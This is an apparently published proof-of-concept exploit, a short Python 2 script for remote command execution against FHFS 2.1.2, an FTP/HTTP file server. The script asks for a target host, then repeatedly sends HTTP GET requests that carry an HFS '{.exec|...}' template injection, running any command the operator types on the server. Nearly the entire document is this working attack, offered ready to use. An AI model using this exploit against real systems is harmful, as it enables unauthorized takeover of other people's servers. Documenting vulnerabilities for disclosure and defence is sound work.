FHFS - FTP/HTTP File Server 2.1.2 Remote Command Execution

#!/usr/bin/python
#
# FHFS - FTP/HTTP File Server 2.1.2 Remote Command Execution
#
# Author: Naser Farhadi
#
# Date: 26 August 2015 # Version: 2.1.2 # Tested on: Windows 7 SP1 (32 bit)
#
# Link : http://sourceforge.net/projects/fhfs/
#
# Description : FHFS is a FTP and HTTP Web Server package,
#               transparently based on HFS and FileZilla. FHFS is built to act as an all-in-one user-based file hosting website,
#               good for schools, businesses, etc. whose students/employees need to easily transport files. 
# Usage:
#       chmod +x FHFS.py
#       ./FHFS.py
#
# Video: http://youtu.be/ch5A2bQEB0I
##

import socket

url = raw_input("Enter URL : ")
try:
      while True:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.connect((url, 80))
            cmd = raw_input("Enter command (E.g. calc) or press Ctrl+C to exit : ")
            req = "GET /?{.exec|"+cmd+".}"
            req += " HTTP/1.1\r\n\r\n"
            sock.send(req)
            sock.close()
            print "Done!"
except KeyboardInterrupt:
      print "Bye!"